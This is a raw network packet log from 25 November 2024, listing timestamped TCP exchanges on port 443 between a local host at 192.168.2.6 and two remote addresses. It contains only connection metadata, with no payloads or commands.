Nov 25, 2024 18:29:07.941880941 CET	443	49903	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:07.958013058 CET	443	49902	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:07.958609104 CET	49902	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:07.958640099 CET	443	49902	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:07.959172010 CET	49902	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:07.959177017 CET	443	49902	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:07.994290113 CET	443	49904	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:07.998591900 CET	49904	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:07.998620987 CET	443	49904	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:07.999089956 CET	49904	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:07.999097109 CET	443	49904	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:08.132390022 CET	443	49905	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:08.133318901 CET	49905	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:08.133356094 CET	443	49905	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:08.133871078 CET	49905	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:08.133879900 CET	443	49905	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:08.386842966 CET	443	49903	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:08.390789032 CET	443	49903	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:08.390842915 CET	443	49903	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:08.390851021 CET	49903	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:08.390883923 CET	49903	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:08.419193029 CET	443	49902	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:08.422339916 CET	443	49902	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:08.422405005 CET	49902	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:08.428678989 CET	49903	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:08.428702116 CET	443	49903	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:08.428715944 CET	49903	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:08.428724051 CET	443	49903	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:08.436116934 CET	49902	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:08.436116934 CET	49902	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:08.436132908 CET	443	49902	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:08.436141968 CET	443	49902	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:08.437062979 CET	443	49904	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:08.440696001 CET	443	49904	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:08.440845966 CET	49904	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:08.466310024 CET	49904	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:08.466310024 CET	49904	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:08.466386080 CET	443	49904	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:08.466427088 CET	443	49904	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:08.578172922 CET	49915	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:08.578218937 CET	443	49915	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:08.578284979 CET	49915	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:08.579320908 CET	49916	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:08.579358101 CET	443	49916	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:08.579421043 CET	49916	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:08.580976009 CET	49917	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:08.580998898 CET	443	49917	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:08.581054926 CET	49917	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:08.583817959 CET	49915	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:08.583842993 CET	443	49915	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:08.584213018 CET	49916	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:08.584229946 CET	443	49916	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:08.586529016 CET	49917	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:08.586540937 CET	443	49917	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:08.593674898 CET	443	49905	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:08.597450018 CET	443	49905	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:08.597500086 CET	49905	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:08.597516060 CET	443	49905	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:08.597563982 CET	49905	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:08.597650051 CET	49905	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:08.597666979 CET	443	49905	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:08.597678900 CET	49905	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:08.597682953 CET	443	49905	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:08.601880074 CET	49918	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:08.601902008 CET	443	49918	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:08.601963043 CET	49918	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:08.602149010 CET	49918	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:08.602160931 CET	443	49918	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:08.635667086 CET	443	49910	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:08.636197090 CET	49910	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:08.636224031 CET	443	49910	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:08.636786938 CET	49910	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:08.636794090 CET	443	49910	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:09.077656031 CET	443	49910	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:09.077724934 CET	443	49910	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:09.077769995 CET	49910	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:09.077991009 CET	49910	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:09.078005075 CET	443	49910	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:09.078021049 CET	49910	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:09.078027964 CET	443	49910	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:09.081302881 CET	49924	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:09.081322908 CET	443	49924	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:09.081374884 CET	49924	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:09.081746101 CET	49924	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:09.081754923 CET	443	49924	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:09.338762999 CET	49926	443	192.168.2.6	20.198.119.143
Nov 25, 2024 18:29:09.338789940 CET	443	49926	20.198.119.143	192.168.2.6
Nov 25, 2024 18:29:09.338857889 CET	49926	443	192.168.2.6	20.198.119.143
Nov 25, 2024 18:29:09.339449883 CET	49926	443	192.168.2.6	20.198.119.143
Nov 25, 2024 18:29:09.339462042 CET	443	49926	20.198.119.143	192.168.2.6
Nov 25, 2024 18:29:10.444072962 CET	443	49915	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:10.444736004 CET	49915	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:10.444755077 CET	443	49915	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:10.445259094 CET	49915	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:10.445264101 CET	443	49915	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:10.451448917 CET	443	49917	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:10.451837063 CET	49917	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:10.451848030 CET	443	49917	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:10.452276945 CET	49917	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:10.452281952 CET	443	49917	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:10.497632027 CET	443	49916	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:10.498209953 CET	49916	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:10.498241901 CET	443	49916	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:10.498610973 CET	49916	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:10.498617887 CET	443	49916	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:10.602426052 CET	443	49918	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:10.618176937 CET	49918	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:10.618218899 CET	443	49918	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:10.621592045 CET	49918	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:10.621603966 CET	443	49918	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:10.902827024 CET	443	49915	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:10.906409979 CET	443	49915	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:10.906469107 CET	443	49915	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:10.906506062 CET	49915	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:10.906558037 CET	49915	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:10.926364899 CET	443	49917	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:10.926460981 CET	443	49917	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:10.926553965 CET	49917	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:10.982137918 CET	443	49924	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:10.995173931 CET	443	49916	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:10.995244980 CET	443	49916	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:10.995333910 CET	49916	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:11.002454996 CET	49915	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:11.002484083 CET	443	49915	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:11.002497911 CET	49915	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:11.002506018 CET	443	49915	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:11.003803968 CET	49916	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:11.003835917 CET	443	49916	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:11.003846884 CET	49916	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:11.003853083 CET	443	49916	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:11.004638910 CET	49917	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:11.004652977 CET	443	49917	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:11.004694939 CET	49917	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:11.004699945 CET	443	49917	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:11.005754948 CET	49924	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:11.005799055 CET	443	49924	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:11.006222010 CET	49924	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:11.006234884 CET	443	49924	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:11.051764011 CET	49931	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:11.051791906 CET	443	49931	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:11.051853895 CET	49931	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:11.061351061 CET	443	49918	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:11.061918020 CET	443	49918	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:11.061978102 CET	49918	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:11.071466923 CET	49932	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:11.071491003 CET	443	49932	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:11.071561098 CET	49932	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:11.075027943 CET	49931	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:11.075042009 CET	443	49931	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:11.101865053 CET	49918	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:11.101865053 CET	49918	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:11.101872921 CET	443	49918	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:11.101881981 CET	443	49918	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:11.115602016 CET	49932	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:11.115616083 CET	443	49932	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:11.115715981 CET	49933	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:11.115741014 CET	443	49933	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:11.115804911 CET	49933	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:11.115894079 CET	49933	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:11.115906000 CET	443	49933	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:11.131834030 CET	49934	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:11.131844997 CET	443	49934	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:11.131913900 CET	49934	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:11.132028103 CET	49934	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:11.132035971 CET	443	49934	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:11.446619034 CET	443	49924	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:11.450035095 CET	443	49924	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:11.450114012 CET	49924	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:11.450294971 CET	49924	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:11.450310946 CET	443	49924	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:11.454411983 CET	49937	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:11.454446077 CET	443	49937	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:11.454523087 CET	49937	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:11.454682112 CET	49937	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:11.454695940 CET	443	49937	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:11.584723949 CET	443	49926	20.198.119.143	192.168.2.6
Nov 25, 2024 18:29:11.584800959 CET	49926	443	192.168.2.6	20.198.119.143
Nov 25, 2024 18:29:11.586864948 CET	49926	443	192.168.2.6	20.198.119.143
Nov 25, 2024 18:29:11.586872101 CET	443	49926	20.198.119.143	192.168.2.6
Nov 25, 2024 18:29:11.587187052 CET	443	49926	20.198.119.143	192.168.2.6
Nov 25, 2024 18:29:11.589471102 CET	49926	443	192.168.2.6	20.198.119.143
Nov 25, 2024 18:29:11.589471102 CET	49926	443	192.168.2.6	20.198.119.143
Nov 25, 2024 18:29:11.589489937 CET	443	49926	20.198.119.143	192.168.2.6
Nov 25, 2024 18:29:11.589623928 CET	49926	443	192.168.2.6	20.198.119.143
Nov 25, 2024 18:29:11.635327101 CET	443	49926	20.198.119.143	192.168.2.6
Nov 25, 2024 18:29:12.135122061 CET	443	49926	20.198.119.143	192.168.2.6
Nov 25, 2024 18:29:12.135265112 CET	443	49926	20.198.119.143	192.168.2.6
Nov 25, 2024 18:29:12.135333061 CET	49926	443	192.168.2.6	20.198.119.143
Nov 25, 2024 18:29:12.135516882 CET	49926	443	192.168.2.6	20.198.119.143
Nov 25, 2024 18:29:12.135533094 CET	443	49926	20.198.119.143	192.168.2.6
Nov 25, 2024 18:29:12.868352890 CET	443	49931	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:12.868987083 CET	49931	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:12.868999958 CET	443	49931	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:12.869642973 CET	49931	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:12.869648933 CET	443	49931	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:12.930304050 CET	443	49932	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:12.930706978 CET	49932	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:12.930728912 CET	443	49932	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:12.931181908 CET	49932	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:12.931188107 CET	443	49932	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:12.947451115 CET	443	49934	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:12.947762966 CET	49934	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:12.947773933 CET	443	49934	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:12.948230982 CET	49934	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:12.948235035 CET	443	49934	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:12.988380909 CET	443	49933	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:12.994746923 CET	49933	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:12.994769096 CET	443	49933	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:12.995528936 CET	49933	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:12.995537043 CET	443	49933	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:13.182923079 CET	443	49937	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:13.183594942 CET	49937	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:13.183612108 CET	443	49937	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:13.184354067 CET	49937	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:13.184359074 CET	443	49937	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:13.321605921 CET	443	49931	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:13.321686029 CET	443	49931	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:13.321780920 CET	49931	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:13.332680941 CET	49931	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:13.332709074 CET	443	49931	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:13.332725048 CET	49931	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:13.332730055 CET	443	49931	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:13.350460052 CET	49939	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:13.350497007 CET	443	49939	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:13.350574017 CET	49939	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:13.350768089 CET	49939	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:13.350781918 CET	443	49939	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:13.378014088 CET	443	49932	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:13.381211042 CET	443	49932	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:13.381258011 CET	443	49932	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:13.381450891 CET	49932	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:13.381450891 CET	49932	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:13.381450891 CET	49932	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:13.384251118 CET	49932	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:13.384268045 CET	443	49932	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:13.384376049 CET	49941	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:13.384399891 CET	443	49941	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:13.384460926 CET	49941	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:13.384602070 CET	49941	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:13.384617090 CET	443	49941	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:13.396039963 CET	443	49934	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:13.399308920 CET	443	49934	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:13.399368048 CET	49934	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:13.399544001 CET	49934	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:13.399544001 CET	49934	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:13.399552107 CET	443	49934	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:13.399559975 CET	443	49934	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:13.401906013 CET	49942	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:13.401932001 CET	443	49942	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:13.401990891 CET	49942	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:13.402121067 CET	49942	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:13.402133942 CET	443	49942	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:13.441962004 CET	443	49933	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:13.446464062 CET	443	49933	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:13.446634054 CET	49933	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:13.446634054 CET	49933	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:13.446634054 CET	49933	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:13.448543072 CET	49943	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:13.448563099 CET	443	49943	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:13.448625088 CET	49943	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:13.448733091 CET	49943	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:13.448745012 CET	443	49943	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:13.621495962 CET	443	49937	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:13.624485970 CET	443	49937	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:13.624608994 CET	49937	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:13.698985100 CET	49937	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:13.698999882 CET	443	49937	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:13.699163914 CET	49937	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:13.699171066 CET	443	49937	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:13.751199007 CET	49933	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:13.751219034 CET	443	49933	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:13.793147087 CET	49945	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:13.793190002 CET	443	49945	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:13.793257952 CET	49945	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:13.794787884 CET	49945	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:13.794802904 CET	443	49945	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:15.107939959 CET	443	49939	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:15.114238977 CET	49939	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:15.114259958 CET	443	49939	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:15.114775896 CET	49939	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:15.114780903 CET	443	49939	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:15.172260046 CET	443	49942	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:15.173311949 CET	49942	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:15.173333883 CET	443	49942	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:15.174175024 CET	49942	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:15.174180031 CET	443	49942	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:15.202467918 CET	443	49941	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:15.205538988 CET	49941	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:15.205559969 CET	443	49941	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:15.206095934 CET	49941	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:15.206101894 CET	443	49941	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:15.313817978 CET	443	49943	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:15.316662073 CET	49943	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:15.316675901 CET	443	49943	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:15.317121029 CET	49943	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:15.317125082 CET	443	49943	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:15.627863884 CET	443	49939	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:15.631036997 CET	443	49939	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:15.631084919 CET	443	49939	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:15.631141901 CET	49939	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:15.631196976 CET	49939	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:15.631210089 CET	443	49939	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:15.631223917 CET	49939	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:15.631230116 CET	443	49939	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:15.634510994 CET	49948	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:15.634561062 CET	443	49948	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:15.634629965 CET	49948	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:15.634807110 CET	49948	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:15.634823084 CET	443	49948	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:15.641915083 CET	443	49942	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:15.644745111 CET	443	49942	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:15.645951986 CET	49942	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:15.645998955 CET	49942	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:15.646008968 CET	443	49942	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:15.646018028 CET	49942	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:15.646022081 CET	443	49942	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:15.648359060 CET	49949	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:15.648427963 CET	443	49949	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:15.648520947 CET	49949	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:15.648643970 CET	49949	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:15.648675919 CET	443	49949	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:15.668561935 CET	443	49941	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:15.668627024 CET	443	49941	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:15.668683052 CET	49941	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:15.668833017 CET	49941	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:15.668844938 CET	443	49941	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:15.668855906 CET	49941	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:15.668863058 CET	443	49941	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:15.671031952 CET	49950	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:15.671046019 CET	443	49950	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:15.671122074 CET	49950	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:15.671264887 CET	49950	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:15.671274900 CET	443	49950	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:15.719809055 CET	443	49945	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:15.720307112 CET	49945	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:15.720329046 CET	443	49945	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:15.720786095 CET	49945	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:29:15.720792055 CET	443	49945	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:15.786878109 CET	443	49943	13.107.246.63	192.168.2.6
Nov 25, 2024 18:29:15.790560007 CET	443	49943	13.107.246.63	192.168.2.6
